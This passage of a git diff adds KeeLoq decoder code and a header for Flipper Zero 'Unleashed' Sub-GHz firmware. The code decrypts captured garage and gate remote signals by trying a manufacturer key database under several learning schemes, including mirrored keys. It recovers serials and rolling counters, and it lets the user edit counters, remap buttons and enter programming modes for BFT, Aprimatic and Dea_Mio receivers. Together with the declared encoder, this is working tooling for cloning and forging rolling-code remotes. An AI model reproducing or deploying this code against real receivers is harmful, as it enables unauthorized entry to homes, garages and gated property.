+        /*FURI_LOG_I(
+            "KL",
+            "decrypt: 0x%08lX, btn: %d, end_serial: 0x%03lX, cnt: %ld",
+            decrypt,
+            btn,
+            end_serial,
+            instance->cnt);*/
+        return true;
+    }
+    return false;
+}
+
+/** 
+ * Checking the accepted code against the database manafacture key
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ * @param fix Fix part of the parcel
+ * @param hop Hop encrypted part of the parcel
+ * @param keystore Pointer to a SubGhzKeystore* instance
+ * @param manufacture_name 
+ * @return uint32_t decrypt data */
+
+static uint32_t subghz_protocol_keeloq_check_remote_controller_selector(
+    SubGhzBlockGeneric* instance,
+    uint32_t fix,
+    uint32_t hop,
+    SubGhzKeystore* keystore,
+    const char** manufacture_name) {
+    // protocol HCS300 uses 10 bits in discriminator, HCS200 uses 8 bits, for backward compatibility, we are looking for the 8-bit pattern
+    // HCS300 -> uint16_t end_serial = (uint16_t)(fix & 0x3FF);
+    // HCS200 -> uint16_t end_serial = (uint16_t)(fix & 0xFF);
+
+    uint16_t end_serial = (uint16_t)(fix & 0xFF);
+    uint8_t btn = (uint8_t)(fix >> 28);
+    uint32_t decrypt = 0;
+    uint64_t man;
+    bool mf_not_set = false;
+    // TODO:
+    // if(mfname == 0x0) {
+    //     mfname = "";
+    // }
+
+    const char* mfname = keystore->mfname;
+
+    if(strcmp(mfname, "Unknown") == 0) {
+        return 0;
+    } else if(strcmp(mfname, "") == 0) {
+        mf_not_set = true;
+    }
+    for
+        M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) {
+            if(mf_not_set || (strcmp(furi_string_get_cstr(manufacture_code->name), mfname) == 0)) {
+                switch(manufacture_code->type) {
+                case KEELOQ_LEARNING_SIMPLE:
+                    // Simple Learning
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        return decrypt;
+                    }
+                    break;
+                case KEELOQ_LEARNING_NORMAL:
+                    // Normal Learning
+                    // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37
+                    man =
+                        subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                    if((strcmp(furi_string_get_cstr(manufacture_code->name), "Centurion") == 0)) {
+                        if(subghz_protocol_keeloq_check_decrypt_centurion(instance, decrypt, btn)) {
+                            *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                            keystore->mfname = *manufacture_name;
+                            return decrypt;
+                        }
+                    } else {
+                        if(subghz_protocol_keeloq_check_decrypt(
+                               instance, decrypt, btn, end_serial)) {
+                            *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                            keystore->mfname = *manufacture_name;
+                            return decrypt;
+                        }
+                    }
+                    break;
+                case KEELOQ_LEARNING_SECURE:
+                    bool reset_seed_back = false;
+                    if((strcmp(furi_string_get_cstr(manufacture_code->name), "BFT") == 0)) {
+                        // Try current seed from file if present
+                        man = subghz_protocol_keeloq_common_secure_learning(
+                            fix, instance->seed, manufacture_code->key);
+                        decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                        if(subghz_protocol_keeloq_check_decrypt(
+                               instance, decrypt, btn, end_serial)) {
+                            *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                            keystore->mfname = *manufacture_name;
+                            return decrypt;
+                        }
+                        // Try seed from serial
+                        //if(instance->seed == 0) {
+                        instance->seed = (fix & 0xFFFFFFF);
+                        reset_seed_back = true;
+                        //}
+                    }
+                    // Try seed from serial or zero seed
+                    man = subghz_protocol_keeloq_common_secure_learning(
+                        fix, instance->seed, manufacture_code->key);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        return decrypt;
+                    } else {
+                        if(reset_seed_back) instance->seed = 0;
+                        // Try with zero seed (some strange remotes have been reported to use 0 seed)
+                        man = subghz_protocol_keeloq_common_secure_learning(
+                            fix, instance->seed, manufacture_code->key);
+                        decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                        if(subghz_protocol_keeloq_check_decrypt(
+                               instance, decrypt, btn, end_serial)) {
+                            *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                            keystore->mfname = *manufacture_name;
+                            return decrypt;
+                        }
+                    }
+                    break;
+                case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1:
+                    man = subghz_protocol_keeloq_common_magic_xor_type1_learning(
+                        fix, manufacture_code->key);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        return decrypt;
+                    }
+                    break;
+                case KEELOQ_LEARNING_MAGIC_SERIAL_TYPE_1:
+                    man = subghz_protocol_keeloq_common_magic_serial_type1_learning(
+                        fix, manufacture_code->key);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        return decrypt;
+                    }
+                    break;
+                case KEELOQ_LEARNING_MAGIC_SERIAL_TYPE_2:
+                    man = subghz_protocol_keeloq_common_magic_serial_type2_learning(
+                        fix, manufacture_code->key);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        return decrypt;
+                    }
+                    break;
+                case KEELOQ_LEARNING_MAGIC_SERIAL_TYPE_3:
+                    man = subghz_protocol_keeloq_common_magic_serial_type3_learning(
+                        fix, manufacture_code->key);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        return decrypt;
+                    }
+                    break;
+                case KEELOQ_LEARNING_UNKNOWN:
+                    // Simple Learning
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        keystore->kl_type = 1;
+                        return decrypt;
+                    }
+
+                    // Check for mirrored man
+                    uint64_t man_rev = 0;
+                    uint64_t man_rev_byte = 0;
+                    for(uint8_t i = 0; i < 64; i += 8) {
+                        man_rev_byte = (uint8_t)(manufacture_code->key >> i);
+                        man_rev = man_rev | man_rev_byte << (56 - i);
+                    }
+
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_rev);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        keystore->kl_type = 1;
+                        return decrypt;
+                    }
+
+                    //###########################
+                    // Normal Learning
+                    // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37
+                    man =
+                        subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        keystore->kl_type = 2;
+                        return decrypt;
+                    }
+
+                    // Check for mirrored man
+                    man = subghz_protocol_keeloq_common_normal_learning(fix, man_rev);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        keystore->kl_type = 2;
+                        return decrypt;
+                    }
+
+                    // Secure Learning
+                    man = subghz_protocol_keeloq_common_secure_learning(
+                        fix, instance->seed, manufacture_code->key);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        keystore->kl_type = 3;
+                        return decrypt;
+                    }
+
+                    // Check for mirrored man
+                    man = subghz_protocol_keeloq_common_secure_learning(
+                        fix, instance->seed, man_rev);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        keystore->kl_type = 3;
+                        return decrypt;
+                    }
+
+                    // Magic xor type1 learning
+                    man = subghz_protocol_keeloq_common_magic_xor_type1_learning(
+                        fix, manufacture_code->key);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        keystore->kl_type = 4;
+                        return decrypt;
+                    }
+
+                    // Check for mirrored man
+                    man = subghz_protocol_keeloq_common_magic_xor_type1_learning(fix, man_rev);
+                    decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                    if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) {
+                        *manufacture_name = furi_string_get_cstr(manufacture_code->name);
+                        keystore->mfname = *manufacture_name;
+                        keystore->kl_type = 4;
+                        return decrypt;
+                    }
+
+                    break;
+                }
+            }
+        }
+
+    // MF not found
+    *manufacture_name = "Unknown";
+    keystore->mfname = "Unknown";
+    instance->cnt = 0;
+
+    return 0;
+}
+
+static uint32_t subghz_protocol_keeloq_check_remote_controller(
+    SubGhzBlockGeneric* instance,
+    SubGhzKeystore* keystore,
+    const char** manufacture_name) {
+    // Reverse key, split FIX and HOP parts
+    uint64_t key = subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit);
+    uint32_t key_fix = key >> 32;
+    uint32_t key_hop = key & 0x00000000ffffffff;
+    static uint16_t temp_counter = 0; // Be careful with prog_mode
+    uint32_t resdecrypt = 0;
+
+    // If we are in BFT / Aprimatic / Dea_Mio programming mode we will set previous remembered counter and skip mf keys check
+    ProgMode prog_mode = subghz_custom_btn_get_prog_mode();
+    if(prog_mode == PROG_MODE_OFF) {
+        if(keystore->mfname == 0x0) {
+            keystore->mfname = "";
+        }
+        if(*manufacture_name == 0x0) {
+            *manufacture_name = "";
+        }
+
+        // Case when we have no mf name means that we are checking for the first time and we have to check all conditions
+        if(strlen(keystore->mfname) < 1) {
+            // Check key AN-Motors
+            if((key_hop >> 24) == ((key_hop >> 16) & 0x00ff) &&
+               (key_fix >> 28) == ((key_hop >> 12) & 0x0f) && (key_hop & 0xFFF) == 0x404) {
+                *manufacture_name = "AN-Motors";
+                keystore->mfname = *manufacture_name;
+                instance->cnt = key_hop >> 16;
+            } else if((key_hop & 0xFFF) == (0x000) && (key_fix >> 28) == ((key_hop >> 12) & 0x0f)) {
+                *manufacture_name = "HCS101";
+                keystore->mfname = *manufacture_name;
+                instance->cnt = key_hop >> 16;
+            } else {
+                resdecrypt = subghz_protocol_keeloq_check_remote_controller_selector(
+                    instance, key_fix, key_hop, keystore, manufacture_name);
+            }
+        } else {
+            // If we have mfname and its one of AN-Motors or HCS101 we should preform only check for this system
+            if(strcmp(keystore->mfname, "AN-Motors") == 0) {
+                // Force key to AN-Motors
+                *manufacture_name = "AN-Motors";
+                keystore->mfname = *manufacture_name;
+                instance->cnt = key_hop >> 16;
+            } else if(strcmp(keystore->mfname, "HCS101") == 0) {
+                // Force key to HCS101
+                *manufacture_name = "HCS101";
+                keystore->mfname = *manufacture_name;
+                instance->cnt = key_hop >> 16;
+            } else {
+                // Else we have mfname that is not AN-Motors or HCS101 we should check it via default selector
+                resdecrypt = subghz_protocol_keeloq_check_remote_controller_selector(
+                    instance, key_fix, key_hop, keystore, manufacture_name);
+            }
+        }
+        // Save original counter as temp counter in case of later usage of prog mode
+        temp_counter = instance->cnt;
+
+    } else if(prog_mode == PROG_MODE_KEELOQ_BFT) {
+        // When we are in prog mode we should fix mfname and apply temp counter
+        *manufacture_name = "BFT";
+        keystore->mfname = *manufacture_name;
+        instance->cnt = temp_counter;
+    } else if(prog_mode == PROG_MODE_KEELOQ_APRIMATIC) {
+        // When we are in prog mode we should fix mfname and apply temp counter
+        *manufacture_name = "Aprimatic";
+        keystore->mfname = *manufacture_name;
+        instance->cnt = temp_counter;
+    } else if(prog_mode == PROG_MODE_KEELOQ_DEA_MIO) {
+        // When we are in prog mode we should fix mfname and apply temp counter
+        *manufacture_name = "Dea_Mio";
+        keystore->mfname = *manufacture_name;
+        instance->cnt = temp_counter;
+    } else {
+        // Counter protection
+        furi_crash("Unsupported Prog Mode");
+    }
+
+    // Get serial and button code from FIX part of the key
+    instance->serial = key_fix & 0x0FFFFFFF;
+    instance->btn = key_fix >> 28;
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(instance->btn);
+    }
+    // Set max custom buttons
+    subghz_custom_btn_set_max(4);
+
+    return resdecrypt;
+}
+
+uint8_t subghz_protocol_decoder_keeloq_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKeeloq* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_keeloq_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKeeloq* instance = context;
+
+    SubGhzProtocolStatus res =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+
+    subghz_protocol_keeloq_check_remote_controller(
+        &instance->generic, instance->keystore, &instance->manufacture_name);
+
+    if(strcmp(instance->manufacture_name, "BFT") == 0) {
+        uint8_t seed_data[sizeof(uint32_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint32_t); i++) {
+            seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF;
+        }
+        if((res == SubGhzProtocolStatusOk) &&
+           !flipper_format_write_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) {
+            FURI_LOG_E(TAG, "DECODER Serialize: Unable to add Seed");
+            res = SubGhzProtocolStatusError;
+        }
+        instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 |
+                                 seed_data[3];
+    }
+
+    if((res == SubGhzProtocolStatusOk) &&
+       !flipper_format_write_string_cstr(
+           flipper_format, "Manufacture", instance->manufacture_name)) {
+        FURI_LOG_E(TAG, "DECODER Serialize: Unable to add manufacture name");
+        res = SubGhzProtocolStatusError;
+    }
+    return res;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_keeloq_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKeeloq* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+        if(instance->generic.data_count_bit !=
+           subghz_protocol_keeloq_const.min_count_bit_for_found) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            break;
+        }
+
+        uint8_t seed_data[sizeof(uint32_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint32_t); i++) {
+            seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) {
+            FURI_LOG_D(TAG, "DECODER: Missing Seed");
+        }
+        instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 |
+                                 seed_data[3];
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        // Read manufacturer from file
+        if(flipper_format_read_string(
+               flipper_format, "Manufacture", instance->manufacture_from_file)) {
+            instance->manufacture_name = furi_string_get_cstr(instance->manufacture_from_file);
+            instance->keystore->mfname = instance->manufacture_name;
+            // Compatibility fixes for old names in user files
+            if(strcmp(instance->manufacture_name, "Sommer(fsk476)") == 0) {
+                instance->manufacture_name = "Sommer";
+                instance->keystore->mfname = instance->manufacture_name;
+                if(!flipper_format_rewind(flipper_format)) {
+                    FURI_LOG_E(TAG, "Rewind error");
+                    break;
+                }
+                if(!flipper_format_update_string_cstr(
+                       flipper_format, "Manufacture", instance->manufacture_name)) {
+                    FURI_LOG_E(TAG, "DECODER: Unable to fix Sommer manufacture name");
+                    res = SubGhzProtocolStatusError;
+                    break;
+                }
+            }
+        } else {
+            FURI_LOG_D(TAG, "DECODER: Missing Manufacture");
+        }
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint32_t tmp_counter_mode;
+        if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
+            keeloq_counter_mode = (uint8_t)tmp_counter_mode;
+        } else {
+            keeloq_counter_mode = 0;
+        }
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+static uint8_t subghz_protocol_keeloq_get_btn_code(uint8_t last_btn_code) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    if(last_btn_code == 0) {
+        last_btn_code = 0xA;
+    }
+
+    // Set custom button
+    // Basic set | 0x1 | 0x2 | 0x4 | 0x8 | 0xA or Special Learning Code |
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x2;
+            break;
+        case 0x2:
+            btn = 0x1;
+            break;
+        case 0xA:
+            btn = 0x1;
+            break;
+        case 0x4:
+            btn = 0x1;
+            break;
+        case 0x8:
+            btn = 0x1;
+            break;
+        case 0xF:
+            btn = 0x1;
+            break;
+        case 0x9:
+            btn = 0x2;
+            break;
+        case 0x6:
+            btn = 0x2;
+            break;
+
+        default:
+            btn = 0x1;
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x4;
+            break;
+        case 0x2:
+            btn = 0x4;
+            break;
+        case 0xA:
+            btn = 0x4;
+            break;
+        case 0x4:
+            btn = last_btn_code;
+            break;
+        case 0x8:
+            btn = 0x4;
+            break;
+        case 0xF:
+            btn = 0x4;
+            break;
+        case 0x9:
+            btn = 0x4;
+            break;
+        case 0x6:
+            btn = 0x4;
+            break;
+
+        default:
+            btn = 0x4;
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x8;
+            break;
+        case 0x2:
+            btn = 0x8;
+            break;
+        case 0xA:
+            btn = 0x8;
+            break;
+        case 0x4:
+            btn = 0x8;
+            break;
+        case 0x8:
+            btn = 0x2;
+            break;
+        case 0xF:
+            btn = 0x8;
+            break;
+        case 0x9:
+            btn = 0x6;
+            break;
+        case 0x6:
+            btn = 0x9;
+            break;
+
+        default:
+            btn = 0x8;
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_RIGHT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = last_btn_code;
+            break;
+        case 0x2:
+            btn = last_btn_code;
+            break;
+        case 0xA:
+            btn = 0x2;
+            break;
+        case 0x4:
+            btn = 0x2;
+            break;
+        case 0x8:
+            btn = last_btn_code;
+            break;
+        case 0xF:
+            btn = 0x2;
+            break;
+        case 0x9:
+            btn = last_btn_code;
+            break;
+        case 0x6:
+            btn = last_btn_code;
+            break;
+
+        default:
+            btn = last_btn_code;
+            break;
+        }
+    }
+
+    return btn;
+}
+
+void subghz_protocol_decoder_keeloq_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKeeloq* instance = context;
+
+    uint32_t hopdecrypt = 0;
+    // Try to get decrypt for display if mf is known, if not it will be 0 and display will be without decrypt part since it might come already decrypted like in HCS101 or AN-Motors
+    // Or we might have Unknown MF
+    hopdecrypt = subghz_protocol_keeloq_check_remote_controller(
+        &instance->generic, instance->keystore, &instance->manufacture_name);
+
+    uint32_t code_found_hi = instance->generic.data >> 32;
+    uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
+
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+    uint32_t code_found_reverse_hi = code_found_reverse >> 32;
+    uint32_t code_found_reverse_lo = code_found_reverse & 0x00000000ffffffff;
+
+    // Allow button edit
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+
+    if(strcmp(instance->manufacture_name, "AN-Motors") == 0) {
+        // No counter only pseudo counter
+        subghz_block_generic_global.cnt_is_available = false;
+        furi_string_cat_printf(
+            output,
+            "%s %dbit\r\n"
+            "Key:%08lX%08lX\r\n"
+            "Fix:0x%08lX PsCn:%04lX\r\n"
+            "Hop:0x%08lX    Btn:%01X\r\n"
+            "MF:%s",
+            instance->generic.protocol_name,
+            instance->generic.data_count_bit,
+            code_found_hi,
+            code_found_lo,
+            code_found_reverse_hi,
+            instance->generic.cnt,
+            code_found_reverse_lo,
+            instance->generic.btn,
+            instance->manufacture_name);
+    } else if(strcmp(instance->manufacture_name, "HCS101") == 0) {
+        // Counter is present but not encrypted
+        subghz_block_generic_global.cnt_is_available = true;
+        subghz_block_generic_global.cnt_length_bit = 16;
+        subghz_block_generic_global.current_cnt = instance->generic.cnt;
+        furi_string_cat_printf(
+            output,
+            "%s %dbit\r\n"
+            "Key:%08lX%08lX\r\n"
+            "Fix:0x%08lX    Cnt:%04lX\r\n"
+            "Hop:0x%08lX    Btn:%01X\r\n"
+            "MF:%s",
+            instance->generic.protocol_name,
+            instance->generic.data_count_bit,
+            code_found_hi,
+            code_found_lo,
+            code_found_reverse_hi,
+            instance->generic.cnt,
+            code_found_reverse_lo,
+            instance->generic.btn,
+            instance->manufacture_name);
+    } else if(strcmp(instance->manufacture_name, "BFT") == 0) {
+        // Allow counter edit
+        subghz_block_generic_global.cnt_is_available = true;
+        subghz_block_generic_global.cnt_length_bit = 16;
+        subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+        ProgMode prog_mode = subghz_custom_btn_get_prog_mode();
+        if(prog_mode == PROG_MODE_KEELOQ_BFT) {
+            furi_string_cat_printf(
+                output,
+                "%s %dbit\r\n"
+                "Key:%08lX%08lX\r\n"
+                "Fix:0x%08lX    Cnt:%04lX\r\n"
+                "Hop:0x%08lX    Btn:%01X\r\n"
+                "MF:%s PRG Sd:%08lX",
+                instance->generic.protocol_name,
+                instance->generic.data_count_bit,
+                code_found_hi,
+                code_found_lo,
+                code_found_reverse_hi,
+                instance->generic.cnt,
+                code_found_reverse_lo,
+                instance->generic.btn,
+                instance->manufacture_name,
+                instance->generic.seed);
+        } else {
+            furi_string_cat_printf(
+                output,
+                "%s %dbit\r\n"
+                "Key:%08lX%08lX\r\n"
+                "Fix:0x%08lX    Cnt:%04lX\r\n"
+                "Hop:0x%08lX    Btn:%01X\r\n"
+                "MF:%s Sd:%08lX",
+                instance->generic.protocol_name,
+                instance->generic.data_count_bit,
+                code_found_hi,
+                code_found_lo,
+                code_found_reverse_hi,
+                instance->generic.cnt,
+                hopdecrypt,
+                instance->generic.btn,
+                instance->manufacture_name,
+                instance->generic.seed);
+        }
+    } else if(strcmp(instance->manufacture_name, "Unknown") == 0) {
+        // No counter info with unknown MF
+        instance->generic.cnt = 0x0;
+        subghz_block_generic_global.cnt_is_available = false;
+        furi_string_cat_printf(
+            output,
+            "%s %dbit\r\n"
+            "Key:%08lX%08lX\r\n"
+            "Fix:0x%08lX    Cnt:????\r\n"
+            "Hop:0x%08lX    Btn:%01X\r\n"
+            "MF:%s",
+            instance->generic.protocol_name,
+            instance->generic.data_count_bit,
+            code_found_hi,
+            code_found_lo,
+            code_found_reverse_hi,
+            code_found_reverse_lo,
+            instance->generic.btn,
+            instance->manufacture_name);
+    } else {
+        // All other known MF with counter info, allow counter edit
+        subghz_block_generic_global.cnt_is_available = true;
+        subghz_block_generic_global.cnt_length_bit = 16;
+        subghz_block_generic_global.current_cnt = instance->generic.cnt;
+        furi_string_cat_printf(
+            output,
+            "%s %dbit\r\n"
+            "Key:%08lX%08lX\r\n"
+            "Fix:0x%08lX    Cnt:%04lX\r\n"
+            "Hop:0x%08lX    Btn:%01X\r\n"
+            "MF:%s",
+            instance->generic.protocol_name,
+            instance->generic.data_count_bit,
+            code_found_hi,
+            code_found_lo,
+            code_found_reverse_hi,
+            instance->generic.cnt,
+            hopdecrypt,
+            instance->generic.btn,
+            instance->manufacture_name);
+    }
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq.h
new file mode 100644
index 000000000..4abd14413
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq.h
@@ -0,0 +1,110 @@
+#pragma once
+
+#include "base.h"
+#include "public_api.h"
+
+#define SUBGHZ_PROTOCOL_KEELOQ_NAME "KeeLoq"
+
+typedef struct SubGhzProtocolDecoderKeeloq SubGhzProtocolDecoderKeeloq;
+typedef struct SubGhzProtocolEncoderKeeloq SubGhzProtocolEncoderKeeloq;
+
+extern const SubGhzProtocolDecoder subghz_protocol_keeloq_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_keeloq_encoder;
+extern const SubGhzProtocol subghz_protocol_keeloq;
+
+/**
+ * Allocate SubGhzProtocolEncoderKeeloq.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderKeeloq* pointer to a SubGhzProtocolEncoderKeeloq instance
+ */
+void* subghz_protocol_encoder_keeloq_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderKeeloq.
+ * @param context Pointer to a SubGhzProtocolEncoderKeeloq instance
+ */
+void subghz_protocol_encoder_keeloq_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderKeeloq instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_keeloq_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderKeeloq instance
+ */
+void subghz_protocol_encoder_keeloq_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderKeeloq instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_keeloq_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderKeeloq.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderKeeloq* pointer to a SubGhzProtocolDecoderKeeloq instance
+ */
+void* subghz_protocol_decoder_keeloq_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderKeeloq.
+ * @param context Pointer to a SubGhzProtocolDecoderKeeloq instance
+ */
+void subghz_protocol_decoder_keeloq_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderKeeloq.
+ * @param context Pointer to a SubGhzProtocolDecoderKeeloq instance
+ */
+void subghz_protocol_decoder_keeloq_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderKeeloq instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_keeloq_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderKeeloq instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_keeloq_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderKeeloq.
+ * @param context Pointer to a SubGhzProtocolDecoderKeeloq instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return SubGhzProtocolStatus
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_keeloq_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
